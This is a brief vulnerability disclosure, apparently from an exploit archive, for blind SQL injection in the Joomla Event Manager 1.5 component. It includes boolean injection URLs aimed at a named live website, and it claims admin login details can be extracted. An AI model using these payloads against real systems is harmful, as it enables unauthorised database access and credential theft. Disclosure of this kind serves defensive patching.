The Joomla Event Manager component suffers from a remote blind SQL injection vulnerability.
4e42b8e871a8de271d3ce3ac249916ac04e6119107dc212561c17158310a962b
<------------------- header data start ------------------- >
#####################################################################
#Joomla Component Event Manager Blind SQL Injection Vulnerability #
#####################################################################
# author : Fl0riX
# Script Name : Joomla Component Event Manager 1.5
# Bug Type : Blind SQL Injection
# Infection : Admin login bilgileri alýnabilir.
# Demo Vuln. :
(+)
» http://joomla-india.org/eventmanager/index.php?option=com_content&view=article&id=44 and 1=2
(+)
» http://joomla-india.org/eventmanager/index.php?option=com_content&view=article&id=44 and 1=1
# Bug Fix Advice : Zararlý karakterler filtrelenmelidir.
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
path/index.php?option=com_content&view=article&id=[Blind]
< -- bug code end of -- >
_________________________________________________________________
Windows Live Hotmail: Arkadaþlarýnýz Facebook'taki güncellemelerinizi doðrudan Hotmail®'den alýr.
http://www.microsoft.com/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:tr-tr:SI_SB_4:092009